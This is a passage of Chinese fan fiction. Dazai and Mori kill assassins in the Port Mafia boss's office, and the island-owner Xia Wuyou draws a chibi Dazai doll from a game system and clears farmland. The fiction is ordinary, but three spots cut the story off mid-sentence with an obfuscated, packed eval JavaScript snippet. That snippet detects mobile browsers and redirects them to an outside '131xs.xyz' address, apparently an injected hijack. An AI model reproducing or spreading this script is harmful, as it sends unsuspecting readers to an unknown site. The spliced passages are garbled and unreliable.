经过了层层的检查,太宰治进入了首领办公室。 新上任的首领坐在长椅,双手交叉,绅士优雅地笑着。 他的目光落在太宰治捧着的花束上,眼中闪过思忖,暗红色的眼眸仿佛一杯被黑夜酝酿的酒。 “太宰君,伤势恢复得如何?” “……” “太宰君?” “啊——”太宰治无光的眼眸注视着办公桌的一个花瓶,“可惜了。” 他像是在为花束寻找花瓶,觉得花瓶不适合。 但话音落下,花瓶渗出了赤红色的血液,光灯不稳定地闪烁,办公室的空气变得阴冷黏腻。 是异能。 有谁请来了异能力杀手,以花瓶为介质,要让新上任的首领陨落在此。 森鸥外对此只笑不语。 太宰治觉得麻烦,可惜再麻烦的事也得解决,他闲散地走到办公桌前,一手捧着花束,一手按住了渗血的花瓶。 他接触的地方出现深蓝色的异能力波动,异能力发作,伪装被勘破,花瓶上长出了人的脸,下一刻,人脸的额头被一把手术刀贯穿。 凄惨的叫声在房间响起,花瓶碎裂,伪装为花瓶的人死亡。 太宰治险恶地收回手。 这大概是个有幻形异能力的杀手,杀手将自己伪装为花瓶,通过流血让人恐惧,再趁机刺杀。 可惜杀手遇到了他,他的无效化可以解除任何异能力。 幻形失效后,死亡的杀手身体被压缩在一个花瓶中,和枝头的浆果一样,被挤出了白色的骨头,骨头太多了,将花瓶挤碎了。 紧接着森鸥外喊来了清理的人。 一群穿着黑西装人进入办公室,不言不语地收拾起现场。 太宰治望了眼,与其中一人擦身而过时,他转偏头,乌发下滑,无神的鸢色眼眸藏在阴影中。 咯嚓—— 一道在场所有人都再熟悉不过的上膛声。 太宰治不知从何人身上顺了把枪,利落起手,将枪按在弯腰收拾花瓶碎片的一人脑袋上,眼睛看向森欧外。 “这是第几场?” 森鸥外苦恼地说:“一直没断过。” “留还是审。” 森鸥外的手指敲着桌面,一下又一下,他大概是在思考,没人能看出他在思考什么。 很快,太宰治就知道他的决定了。 血花从被他挟持的人脖子上炸开,不是一个,这批进入的人脖子上都被割出道深而致命的血口。 没有任何呼救和惨叫,唯有沉闷的重物倒下声,房间里的血味更浓郁了。 早在森鸥外动身前,太宰治就收回枪,后退一步,将绣球花束拿远了些,防止绣球花被血溅到。 动手的森鸥外收回刀,打开抽屉,取出擦刀的布问。 “怎么发现的?” 明知故问。 太宰治嫌血气腥,站得离尸体远了些,“如果是指这两场刺杀,幻形异能有点麻烦,可以伪装温度和声音,但花瓶在光线下的折射不正常。” 他扫了眼死不瞑目的黑手党,“他们的话,更明显了,居然没喊森先生为首领。” 森鸥外意有所指道:“太宰君,没喊的人中也有你呦。” 太宰治无精打采地说:“是,不过真的好吗,不怕刺激到前代首领党?” 一个医生当上首领,想要取而代之的不会少。 组织风雨飘摇之际,人人都有自己的盘算,关于先代首领,忠诚于先代的人不少,但摇摆不定的人更多。 刚上任时期的刺杀不会少,森鸥外可以杀死他们,由此立威,同样可以收买他们,稳固地位。 而森鸥外选择杀死他们,不管这些人是否心存杀心,但他实实在在杀人了。 先代首领党完全可以借此发难。 森鸥外擦拭着刀,语气无奈。 “蝗虫前扑后拥,心存怜悯的话,它们不但不会感恩,还会啃食我这个无权无势的医生。” 太宰治明白了,当下森鸥外要的是立威。 港·黑可以要一个篡位的首领,但绝不可以要一个无能的首领,收买和展露手腕是稳定之后的事了。 想明白了,但太宰治还是说:“不只喔,森先生还是个没钱,没可靠情报,没信任手下的首领。” 森鸥外觉得这句式分外熟悉,有个人不久前就这样自我介绍过,他叹气:“哎,这可怎么办?” 太宰治走上前,因为在病床上待了太久,他身上带着股苦涩的药水味。 药水与血腥味混在一起,纠葛成刺鼻的,复杂的铁锈味。 鞋面与地面的瓷砖碰出咔哒声,他避开了地上的血,停在办公桌前,将一枚暗黑色的宝石扣在桌面上。 森鸥外的目光带上戒备与打量,“这是?” 太宰治:“鱼饵。” 在森鸥外伸手要拿起宝石前,他将宝石收回,“可以拿来钓鱼,但不是给森先生的。” 森鸥外的视线转到那捧绣球干花上,“之前就想问了,太宰君哪来的花?” 太宰治盘着宝石,手指摩挲着光滑的宝石表面,站姿懒散,“森先生不清楚吗,我听人说,我被刺杀昏迷,你为我请来了异能治疗者。” “那么,”他望向坐着的男人,“有人探病送东西不正常吗?” 言下之意,森鸥外清楚没人接触过他,知道他手上的花和宝石都是“凭空出现”的,还这样问就虚伪了。 森鸥外脸上的笑容没有任何变化,仿佛不是他刻意散播这番话,“太宰君不满意我的安排吗?” 他想问的问题太多了。 不论是宝石和花,还是太宰治的昏迷和奇迹愈合的伤。 他直觉这一切都可以用一个人的出现来解释——杀死先代首领那夜遇到的少年。 太宰治避而不答,举起自己手上的花,认真道。 “森先生是忙到两眼昏花了吗,这不是花,是眼球。” 森鸥外诧异,或许这点意外也是他刻意表现出来的,他引导着太宰治说下去,“眼球?” 太宰治捏着两片花瓣合起,闭合的花圆鼓鼓的,的确像是眼球,其上的经脉如附着的血管。 不过因为色泽过于冷淡素雅,反而呈现出冰似的清透美感。 “一只会掉毛章鱼的眼球。” 森鸥外从花朵的颜色联想到一个少年的眼眸,所以果然是闯入者送给太宰治的。 不过那位闯入者的异能是什么呢? 传送、催眠、治疗……已经有三种异能了,难道来自不知名的组织? “不是。” 太宰治看穿了森鸥外所想,开口打断。 地上的血已经扩散到他脚边,他的脸隐在绣球花束后,青蓝色的花装点着他,冲淡了他身上暮气沉沉的黑暗。 “森先生玩过游戏吗?” 太宰治自问自答,“估计没玩过,游戏的存在是为了娱乐,在他的游戏中,他无所不能,游戏的存在只为了取悦他一人。” 森鸥外听出了太宰治给出的信息。 闯入者没有组织,且拥有无比强大的异能力。 一个人只能拥有一个异能,难道闯入者的异能与“复制”或“借用”有关? 森鸥外感叹:“听起来是个任性的游戏。” 太宰治笑了下,将手放入口袋里,丢出张千纸鹤。 森鸥外没有立刻去接,他确定太宰治的异能没有攻击性,并因为无效化的异能力,经过太宰治手上的东西不会是异能力造物。 但他得提防一切未知的手段。 心中再忌惮,他还是摆出温和包容的笑,打趣着问。 “这千纸鹤还和宝石一样,是属于太宰君的吗?” 说着他打开了千纸鹤,见到了上面鲜红的数字“4”,其后有行落款。 【——伟大的岛主夏无忧】 字迹非常张扬,笔锋凌厉,体似鹤形,存有兰竹之气。 “夏无忧。” 森鸥外念了遍这拗口的字,明显的异国姓名,除此之外,他察觉出太宰治异常的态度。 仅仅一天的时间,太宰治提起闯入者就不再排斥,抱着对方的花,谈及时露出种古怪的熟稔。 中间发生了什么? 昏迷……太宰治昏迷的时候,真的是昏迷吗,他的意识是否被带离? 如果是这样,那夏无忧的异能力更为棘手,不对,太宰治用游戏形容夏无忧的异能力,真的是一个形容吗? 如果夏无忧的异能力是游戏。 游戏往往构造于幻想,如果夏无忧的异能力可以搭建出属于他的世界,将昏睡的人拉进去。 在梦的世界,夏无忧的确能无所不能。 森鸥外有了点眉目,可他缺乏信息,问太宰治,太宰治一幅“我知道很多但我不想说”的模样。 和得到玩具,不想直接告诉别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803687|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,非要用上大段大段铺垫的孩子一样。 连续熬夜工作,持续处理事情的森鸥外没了耐心。 恰在此时,他喊来清理的人在外门恭敬地等候着,他摆出体贴的模样,顺势让太宰治离开。 “情况一时半会说不清,如果太宰君太累的话,可以先退下休息,用文字汇报给我。” 太宰治垂着眼,慢吞吞道:“真够过分,是森先生让一个刚醒来受到惊吓的病患奔波,也是森先生利用病患钓出两拨刺杀者。” 本来刺杀者不会这么猖狂,但他醒了。 刺杀他和刺杀森鸥外是同等的效果,暗处的人终于按耐不住,落进了森鸥外的陷阱。 “那太宰君要拒绝吗?”森鸥外问。 太宰治没什么感情地笑了下,抱着花转身,敷衍地说道。 “是,首领。” 他加重了首领二字。 等太宰治的身影消失在视野,森鸥外的表情有了变化,他深深拢着眉,周围一片狼藉,花瓶被打碎,地上倒着尸体。 被他扶持上来,真正效忠于他的人从外面走进,打扫起现场。 尸体被拖动,在地面划出长长的血痕,仿佛桌面上展开的折纸上字迹的落笔。 “嘿咻!” 寒光闪过,锋利的斧刃划出锋利的一笔。 树干被劈出一道笔直的裂痕,光透过裂痕,树干吱呀断裂,露出了树干后的夏无忧。 他擦了把头上的汗,将斧头按在树干的断截面上,身体随呼吸起伏,后背的衣服被汗水打湿。 【每日任务:完成一组身体锻炼(已随机选中砍伐树木)奖励:蛋糕x1、1积分(已完成)】 听到系统的播报,夏无忧拔起斧头,用斧刃敲打着树干的年轮,与脑海里的系统对话。 夏无忧:[管家,我知道你的任务设定比较自由,但这也太自由了,要想我锻炼,不应该列出清晰可行的锻炼表吗?] 他转了圈,周围倒了一大片树木,是回到现实的他亲自砍的。 亲自砍的。 他苦着脸,把斧头收回背包,在林间走动,平缓剧烈运动后的心跳。 系统:【因为您否决了我的无睡眠模式,可利用时间大幅度缩减,循环往复的锻炼过于低效,您只需要保证一定程度的锻炼量。】 夏无忧:[那怎么会有随机锻炼模式?] 系统:【为了增添趣味性。】 夏无忧也不知道该怎么说了,因为系统说的是有几分道理。 这里离他的木屋不远,他回到屋子,冲了把澡,走出门,趴在木屋边的扶栏上吹风。 系统:【您还是无聊吗?】 夏无忧:[是啊,这边世界的科技比我的世界落后太多,娱乐项目无比匮乏。] 因为怕以后和系统说话习惯了,他在别人眼中成了自言自语的神经病人,夏无忧与系统都是在脑海里交流。 系统:【那要我为您召唤太宰治先生吗?】 海风习习,吹过夏无忧潮湿的头发,他展开手,低头去看手掌心的红印。 夏无忧:[没必要。] 系统:【在游戏后期,等到您的岛屿开发到一定程度,您可以邀请这个世界的其余人来岛上参观。】 夏无忧:[啊,居然还有游客。] 系统:【您似乎还是不感兴趣,难道您在想念家人?】 系统想到,按照自己宿主的年纪,宿主还该待在学校里,在家人的陪伴中长大。 夏无忧按住木栏,哼笑,[想?大概有点想,更多是不习惯。] 他眺望远方的天空。 [天还黑,晚上到这里看,天上会有繁多的星星。在人的视角里,星星亲密无间,但在宇宙中,每颗星星都是孤独的,行星与行星之间相隔万里。] [人与人的联系不会因时间与地点而改变,我们终会相见。] 他的手心凝出一颗金色的星辰。 游戏中的技能成为夏无忧在现实里的异能力。 但也有区别,他在现实的身体里只有纯粹的异能力,自保能力差了许多。 人们恐惧未知,但异能力是已知的。 异能者的异能力一直是至关重要的战略情报,知道了异能的具体信息,就能提前布局针对。 比如太宰治的异能力是无效化,这个能力关键时刻可以成为王牌。 但是如果提前知道,可以安排狙击手废掉太宰治。 夏无忧同理。 在他进入游戏时,他的身体陷入沉睡,被系统保护着,如果他离开岛屿,没有系统的保护,他应付不了持续的战斗。 游戏里他是安全的,现实中他是危险的。 系统看护他,如在看护没将爪牙磨利的离群之兽。 极端的反差容易让人沉溺于美好的一方。 但夏无忧没对现实生出抗拒感,也没对游戏生出依赖感,他一直很清楚自己要的是什么。 他更不会纠结选择哪方,因为他所在之处就是真实。 25.玩偶 夏无忧吹够了海风,实验起自己的异能力。 他变出了只会发光的暖色小云朵,小云朵漂浮着,呼啦啦吹出热风,还会来回换角度吹,一会就将他的头发吹得半干。 夏无忧抓揉了下自己的头发,按着木栏,轻巧地翻身而过,落下时被一个云朵托起,云朵和秋千一样载着他飞起。 他取出权杖,眯起一只眼,和用弹弓一样瞄准远处的落叶。 瞄准好了,一道金光如闪电般从权杖上掠出,即刻劈开了落叶,余波将树木轰倒。 树木倒塌,尘埃浮动,林中飞鸟被惊起。 夏无忧换了技能[月赎],皎洁的月影融入身体,他感到前所未有的轻松,自己的弹跳力、反应力、力气、视力都有所提升。 他从云朵上直直跳下,在屋顶上缓冲,再跃起攀到远方的树冠,腿勾着较粗壮的树枝,倒吊在树上,身体来回晃悠。 树枝绷直着弯曲,枝头的树叶飘零而下。 实验完毕,他倒吊着,仿佛在进行无比刻苦的训练,表情严肃到如同在思考宇宙哲学。 时间久了,系统问。 【您在干什么?】 夏无忧:[尝试能不能挂在树上睡觉。] 系统:【……宿主,我们是最强杀手系统,不是野人培养系统。】 夏无忧:[都一样。] 倒立时血液往大脑流去,轻微的眩晕感中,他让自己的呼吸与岛上的风同调,让自己融化于季风与海洋。 他听到了此起彼伏的浪潮声,思绪逐渐浸入了海水,涛浪冲散了他本能的紧张与兴奋,随后到来的是惬意与宁静。 夏无忧悠悠道:[杀手是人,野人是人;杀手动作灵活,野人动作敏捷;杀手不受秩序束缚,野人无拘无束,所以没区别。] 系统沉默了许久。 系统:【随您高兴。】 夏无忧满意了,他张开手臂,深深吸入口林间清新的空气,仰倒着舒展腰身。 有阳光从树叶间隙落下,海风经过,斑驳的光点翩跹而舞。夏无忧绷紧肌肉,腰腹发力,往前荡起,再因惯性往后,风从他的手指缝隙穿过,他伸手追着光点抓来抓去。 当有一束光照到他手背时,他发自内心地笑起。 他自由招展着,是天地间再无拘无束的一缕风。 这一幕宛如教堂天顶的油画,林间的少年如蛇,如猫,倒吊在树上弓身抓到一缕光束,仿佛从溪涧捞起了黎明的朝露。 夏无忧以腿弯下的树枝为轴心,弯曲向上,转正过来坐到树枝上。 他展开手,刚才抓到的光点化为一颗星辰。 星辰绕着他转来转去,在浪潮与海鸥叫声中,他点住金色的星辰,打开了抽卡界面。 【积分:102】 刚好够个十连。 这102积分是夏无忧打完一个雾区的怪物,外加清理了一些小任务凑到的积分。 为了这来之不易的积分,他让系统结合他的生辰八字,帮他算出了吉时吉地。 推算的时间一到,夏无忧按下抽卡。 界面浮现出片黑夜的星河,星河之下有旋涡,暗红色的旋涡投出一道道流萤般光点。 光点从静谧无波的水面浮出,以固定的顺序排列。 星辰发散出光辉,与相近的星辰勾连,组合为书的星象,星河之上浮起了雾气,雾气投射出海市蜃楼般的场景。 以星河水面为分割。 水面之下是漩涡,水面之上是模糊的断垣残壁,高楼大厦如积木般倒伏,天空有只黑色染血的鸦在坠落。 鸦义无反顾地投入了书的星象中。 夏无忧手中一重,他以为自己抽到了只小鸟岛民,还在想自己海岛要变成动物岛屿了吗。 手上触感毛茸茸的,不比绸布顺滑,但温暖而轻巧,光是触碰心就变得柔软。 他无比期待地看过去,见到了一个小人玩偶。 他陷入疑惑。 小人玩偶脸朝下趴在他掌心,迟缓地动了起来,像是从一场冗长悲伤的噩梦中醒来,用小小的手撑起自己,仰起头看他。 夏无忧呆住了。 玩偶乌发鸢眸,哪怕只是豆豆眼,也显得死气沉沉。 它披着黑色的西装外套,一只眼睛被绷带缠住,脖子上圈着鲜红的围巾。 夏无忧捂住心脏。 出了,出了,出首领小宰了! 他捧起首领小宰,将它放在高处的树枝上,准备下树绕着岛屿当野人跑上几圈。 在他往下跳的时候,他扫到玩偶也要跳。 夏无忧:?! 他单手抓住树枝,硬生生止住了下落趋势,空出的手将半空的玩偶接住。 夏无忧提着玩偶的后衣领,凝望着玩偶的豆豆眼。 他沉思,甩了甩玩偶问,“能说话吗?能听懂我说话吗?” 首领小人不说话。 夏无忧冷笑,“再装玩偶,我就给你起名小宝。” 他见到玩偶的头上挂出黑线,似是瞥了他眼,头往下一垂,仿佛是被身上的红围巾吊死了。 夏无忧被气笑,他松开抓住树枝的手,跳到铺满落叶的松软泥土上,紧急敲起了系统。 夏无忧:[系统!出货了我是很高兴,但是,我不是十连吗,为什么只出了一个!] 系统:【……】 不知道为什么,系统对这情况也很茫然。 夏无忧:[系统?管家?] 系统:【出bug了。】 夏无忧:[诶?] 奇了,系统还会出错吗? 夏无忧抽空望了自己提着的玩偶,玩偶不动了,如果不是会眨眼,夏无忧还以为它在睡觉。 不过既然没闭眼,说明首领宰在悄悄观察着。 夏无忧想到了那种在暗处鬼鬼祟祟偷窥的黑猫,同系统表示,玩偶是项无比伟大的发明! 夏无忧:[全图鉴,我的全图鉴,我一定要肝满全图鉴!] 夏无忧:[对了,系统,你还没说出什么错了。] 系统:【这位岛民很特殊,比您召唤的太宰治先生还特殊。】 夏无忧:[特殊在哪?] 系统:【您的岛民目前有三种,一为常驻岛民,二为本土岛民,代表为太宰治先生,您无权干涉现实中的本土岛民,但可以将人拉入游戏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817115|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 系统:【三为平行岛民,字面意思,他们是存在于平行世界的一种可能,其中有我许诺您的首领小人、骸塞小人、学院小人等。平行小人附身在玩偶上,没有实体。】 系统:【恭喜您,到现在还没有一位常驻岛民。】 系统声音淡淡的,但夏无忧从中听出了点无语。 夏无忧:[就是说,平行岛民是完全属于我的,本土岛民是这个世界本来就存在的人,我只能在游戏里邀请他们。] 他想到一点。 夏无忧:[我能召唤这个世界中死亡的人吗?] 系统:【能。】 夏无忧:[我召唤出这个世界中死亡的人,他们还能回到现实吗?] 系统承诺过,他可以召唤他的岛民作战。 系统:【活着的本土岛民不行,死亡的本土岛民可以,不过这类本土岛民很难出,您能一口气抽到也令我惊讶。】 夏无忧觉得有意思起来了,系统顺势鼓励道。 系统:【所以您不必去见太宰治先生,如果他有意外,他就真正属于您了。】 系统永远以夏无忧为第一优先级。 它知道夏无忧想跑出去见太宰治,但是这在它看来过于危险。 太宰治过于聪慧,他的异能力「人间失格」可以无效化宿主的异能力,背靠Mafia,当他的敌人是件可怕的事。 头脑和手段太宰治一个不缺,理念和立场又与宿主天然相反。 更关键的是,宿主对太宰治有天然的偏爱,爱会让人软弱,让人心甘情愿付出。 但杀手不应该有任何感情,感情只会成为阻碍。 系统认为,如果不能阻止情感的产生,那么就将喜欢的人牢牢抓在手里。 闻言夏无忧将首领小宰放在外套口袋里,他往木屋方向走去,脸上的笑淡了些。 夏无忧:[不,我不想,他也不想。] 系统:【为什么?】 换作是别人问,夏无忧一定不会管,但他知道系统再怎么人性化,本质是一串在学习的代码。 对于无知者,夏无忧如同对待天真又残忍的孩子,他会详细地为之解释。 夏无忧:[我爱的是一个人,一个与我平等的人,为了所爱者,我该托举他,注视他,让他得偿所愿,让他成为世界上最幸福的人。] 夏无忧:[我不当干预他的人生,我只需要在适当的时候出现,在他明白自己选择的代价与后果,成为他的退路。] 林间阴翳掠过他的脸,他笑着,笑容真挚而明媚。 [如果我的喜欢只会让他不自由,那说明我不是爱他,我是爱自己。 ] 系统表示:【自私是刻在人类基因中的本能。】 人类为了繁衍,人会分泌出令人意乱情迷的愉悦激素,激素会让人迫切想与对方在一起。 当激素的浓度减低,人类将变回为存活而不择手段的人。 夏无忧走出了树荫,走到了阳光下,他眯起眼,瞭望湛蓝的天空。 [所以爱才是奇迹,我将克制我的本能去爱,我战胜了我自己。] [世上还有比这更浪漫的事吗?] 26.奇遇 系统还是无法理解。 系统:【这并不浪漫,但如果是您,您一直是正确的。】 系统:【说回玩偶,在搭建平行通道的时候,出了点意外,这个玩偶的灵魂打断了您的召唤,提前出来了。我和总局提交了报告,您的补偿很快会下来,这个玩偶归属于您。】 夏无忧感动:[系统你说话真好听,如果浪漫有分数,我给你打满分。] 系统:【谢谢。】 夏无忧被这句话戳到,想笑又忍下去了,他脚步轻快地走向木屋,走到一半,发现首领小宰从他外套口袋探出头。 他当没发现,哼着歌,推开了木屋的大门。 夏无忧:[抽到想要的卡,我现在更有劲了,睡觉,开荒,种地!] 他试着能不能把首领小宰放回背包,发现可行,在询问系统,确定把玩偶放到背包里等于强制关机后,他放心地把玩偶一收。 他去浴室换好睡衣,出来平躺在床上,再把玩偶拿出来。 被关机的玩偶醒来需要一定的时间。 夏无忧见玩偶动了几下,睁着豆豆眼,半天不说话,他宽容地把玩偶摆到枕头边,还拉了点被子给玩偶盖住肚子。 首领小宰的戒心很强,也特别能忍,发生了这么大的事,它没任何反应,阴沉沉地坐着。 夏无忧靠着超强的自制力,才没有转头盯住玩偶。 他让自己别看,闭眼准备入睡。 而他刚闭上眼,系统就直接把他抓进游戏了。 夏无忧再次变成飞升的小幽灵,往天空无欲无求地飘,飘,飘,到达了天空的云层。 他俯瞰岛屿,同上次相比,毗邻他木屋的一块区域上的迷雾散去,成为了他的新领地。 不过因为雾区的净化度是92%,雾区内部的生态没有恢复,区域中还留有一点雾气。 夏无忧想到之前有船只想要闯入岛屿,不知道现在情况如何,他询问系统,得到了反馈。 系统一板一眼汇报:【消息传出去了,但我还没放走被困在迷雾区的人,有官方组织将消息封锁,并在组织探查和营救,是否需要拦截?】 夏无忧随意道:[你看着来。] 系统:【冒犯您领域者,为敌人。】 夏无忧没当回事,在某些方面,他与系统是同样的漠然,他选中自己的木屋,回到游戏的身体里。 他睁开眼,见到了熟悉的像素风世界。 屋内床上的无忧小人转过头,见到了等比缩小的首领小宰玩偶。 他从床上坐起,握住玩偶,郁闷地同系统说。 夏无忧:[怎么还是玩偶,这样不能帮我种地啊。] 系统无情道:【哪怕玩偶有实体,您也说服不了它干活。】 夏无忧:[……] 夏无忧:[管家你知道的太多了,你该忧我之我,解我困扰。] 系统:【请召唤——】 夏无忧打断系统,[停,我去开荒。] 他不打断,系统还会提及他唯一的能种地的本土岛民。 夏无忧看向手里的玩偶,尝试说服自己,它都是一只小小的玩偶了,自己怎么能苛责它种地? 但话说回来。 小小的玩偶可能很会捣乱,阴暗地搞事。 夏无忧纵容地想,那也好,它现在就是只玩偶,想要脱困一定得和他交流,他能被骗说明他活该,他没被骗说明他厉害。 玩偶还能翻了天不成? 等着,他一定会想出能压榨玩偶的好办法! 夏无忧信心十足,他选中背包里整洁的初始套装,换好衣服,把玩偶一提,放到自己的草帽上,拎着锄头就准备出门。 出门他见还有太阳,就把玩偶放到了肩上,变出一个星辰跟随,让玩偶可以坐稳。 整装待发的他打开任务栏。 【引导任务】: [1、清理出空地,耕出片可种植地奖励:随机种子x12、1积分] [2、播种种子,收获您的第一份成果 奖励:建筑材料包、2积分] [3、为您的岛民建造一间住所 奖励:配套家具、配套衣服、4积分] [4、烹饪出第一道菜 奖励:一箱汽水、1积分] [5、制作鱼饵,钓上第一条鱼 奖励:2积分] [6、彻底净化一片雾区奖励:藏宝图碎片、随机建筑图纸、10积分] [7、恢复被净化雾区的生态(指标:植被、生态圈、繁荣度)奖励:自然祝福(永久图腾效果)、全套制服(全岛民解锁,按势力划分)、20积分] …… 夏无忧做了部分引导任务,做完任务领了奖励,完成的任务会从任务栏里变灰。 顺着任务看下去,越往下的任务难度越高。 他关上任务界面,环视四周。 木屋前本来有大片的树林,在和太宰治比赛时没砍掉多少,去现实一趟清理了大半。 夏无忧打开左上角的小地图,规划了一片区域。 他拿出权杖,在自己划定的地方圈出金色的线。 夏无忧:[管家,给我放点音乐。] 系统真的准备了一个曲库,给夏无忧随机播放。 夏无忧就这样听着歌砍树,选中最近的树,用斧头轻轻砍几下,树倒下,变为一地的材料。 拾取木材时,他能感到肩上的玩偶动了下,似乎往前了些,是下意识探究的动作。 夏无忧在心里暗笑。 他绕着木屋砍树,重复砍伐的动作,哪怕换了不同的姿势,横着劈,竖着劈,旋转一圈劈,跳起来劈,他也感到了腻味,何况他在现实已经砍了很久。 任何事情,重复上百上千次都将变得无聊,砍树尤其是。 不过砍完一棵树,收获是最好的奖励。 在循环的砍树中,夏无忧总结出了树木的掉落物品,必掉落的有木材,可能掉落的有苹果、攀援植物、树种,小概率掉落是昆虫、鸟窝、鸟蛋、羽毛。 他费了些时间才砍完金色圈内的树。 砍伐结束,夏无忧停下来喝了口温水,将斧头换成镰刀,切割起小型的灌木、较高的杂草。 在游戏里挥动镰刀与现实不同。 镰刀轻轻一挥,扫到区域的植株被连根挖起,别说植物,连草皮都被清了个干净。 [背包新增:草皮x1、野草x2] 夏无忧在转身时扫了眼肩膀上的玩偶,玩偶小幅度向前倾,探出短手,抱住了金色星辰。 夏无忧被可爱到了。 如果他有电量,他的像素小人一定回到了满格。 为了他的玩偶小人,他要成为世界上最强大的岛主! 岛主畅想着未来,穿着灰扑扑的初始服装,卖力地挥动镰刀,一边听系统在脑海给他放的音乐,一边听着连绵不断的收获 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834261|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音效。 [背包新增:草皮x1、杂草x3、浆果丛、昆虫x1] [背包新增:草皮x2、杂草x3、萝卜x1、种子袋x1] …… 待到天色渐暗,太阳下沉,黄昏之刻到来前,夏无忧终于用镰刀清理出了片土地。 此刻他的背包塞满了木材、昆虫和杂草。 植物的数量也不少,但是种类太多了,有可食用的、有毒的、可入药的、可以当饲料的。 岛上不存在世俗的常理,不同季节的植物可以长在一起,不同习性的动物可以生活在一起,因此他有了从春到冬的植物。 除此之外,他还抓到了些小动物,比如兔子、鸟雀、野鸡、松鼠。 夏无忧将一些长得奇怪的动物放了,一是留了没用,二是不能吃,三是保护珍惜动物。 他抓动物是为了点亮图鉴,岛上小动物挺好玩,被放了后跑得远远的,但在他随手治疗好了一只小鸟的翅膀后,动物们的态度变了。 这些聪明的小动物似乎将消息传开了,虽然还是躲着,但会暗处观察他。 和夏无忧肩上的玩偶一样。 玩偶不说话,夏无忧就随意折腾玩偶了,如果采到漂亮的花,他会将花别在首领小宰的红围巾里。 一转头,花朵就被丢到地上了。 夏无忧有的是耐心,玩偶丢多少,他给多少,玩偶可能是烦了,终于愿意拿起花,但是拒绝把花别红围巾上。 夏无忧觉得还不够。 他选了些比较小的花,坐在一块木桩上,用[星幻]造出工作台和小型工具,编了个可以给玩偶戴的花环。 多出来的花被他别到了自己草帽上。 等他把小花环递给首领小宰时,玩偶愣住了,它接过花环,看一眼花,再看一眼夏无忧,大概是看清了夏无忧不依不饶的性子,把拿着的野花丢了,戴好了花环。 夏无忧猜玩偶的逻辑是,如果一定要选个什么,在花和花环间,花环更好,戴着不影响行动。 在玩偶丢野花时,夏无忧就接住了花朵,他将花放在玩偶怀里的星辰中,花朵被定格于星辰之间,仿佛在星河上永生。 这下,他、星辰、玩偶都有花了。 夏无忧还承诺系统,等他拿到电脑,他要编个代码花环送给系统。 他给小家庭的每个成员都分配好花,起身挥散工作台和工具,抬头,见到了一大群小动物,带头的是头白色小鹿。 小鹿的头顶有只体积很大的彩色鹦鹉,也不知道首头的是小鹿,还是这只威风的鹦鹉。 彩色鹦鹉衔着什么飞来,看起来是要站在夏无忧肩上,但夏无忧肩上有了玩偶。 它改为落到夏无忧手上,把东西放下,叫了好几声。 夏无忧一看,原来是颗宝石。 鹦鹉叫了半天,可惜他还没掌握动物语这个小语种。 他勉强想到自己刚救治了只动物,所以这些动物把他当做会治疗的大魔王了? 鹦鹉叼过来的宝石是诊金? 系统反应过来,把他脑海里的歌停了,放出通报。 【恭喜您触发了奇遇——生命牧者!】 【伟大的岛主,您执掌权杖与星辰,既是无情的掠夺者,更是岛屿万灵生物仰望的唯一神明。】 【在这片荒凉偏僻,遍布迷雾与污染的岛屿上,残喘的生灵等来了主宰者,此亦为降临的金色奇迹。】 27.珍珠 夏无忧把玩了会宝石,宝石只是块普通的宝石,但火彩称得上绚烂。他把宝石递给肩上的玩偶。 “你抱这个,我的星星是来看顾你的。” 在首领小宰耳中,“看顾”大概等同于“监视”,它把星辰抱得更紧了。 “你不要?”夏无忧转头去看玩偶,问了声,见玩偶不回答,他抛了下宝石,宝石在阳光中熠熠生辉,折射出不同角度的色彩。 “这可不是我不给你,我是个公平的人,给了他一颗,也得给你一颗,你不要,我就收下了。” 夏无忧接住宝石,把它收回背包,向着鹦鹉走了步。 这是同意陪小动物们去一趟的意思。 小动物们整齐躁动起来,发出嘈杂的叫声,大概是在欢呼。 鹦鹉也啄了下自己缤纷的羽毛,拍打起翅膀,发出几个奇怪的音节。 夏无忧发现这几个音和他刚才说的话相近,他伸出手,让鹦鹉停在他小臂上,尝试教会它学说话。 前方的小白鹿呦呦鸣叫,声音很轻,只是为了引起夏无忧的注意。 它朝着一个方向走了几步,转身望了眼夏无忧,确定夏无忧跟上来了,才继续走。 夏无忧看出小白鹿是要带路。 他晃悠着跟了上去。 明知道小动物只有一点大的脑袋,能找上门已是付出极大的勇气,着急得不得了。 但夏无忧还要慢慢地走。 活泼的小白鹿急得不行,在原地踱步,发现夏无忧没跟上来,扭头小心翼翼靠近夏无忧,绕着他转圈圈,又靠近了一点,用头轻轻推夏无忧的后背。 夏无忧终于忍不住笑出声。 他用手抱了下小白鹿的修长的脖子,把鹦鹉放到小鹿头上,手指抚了下默不出声的玩偶。 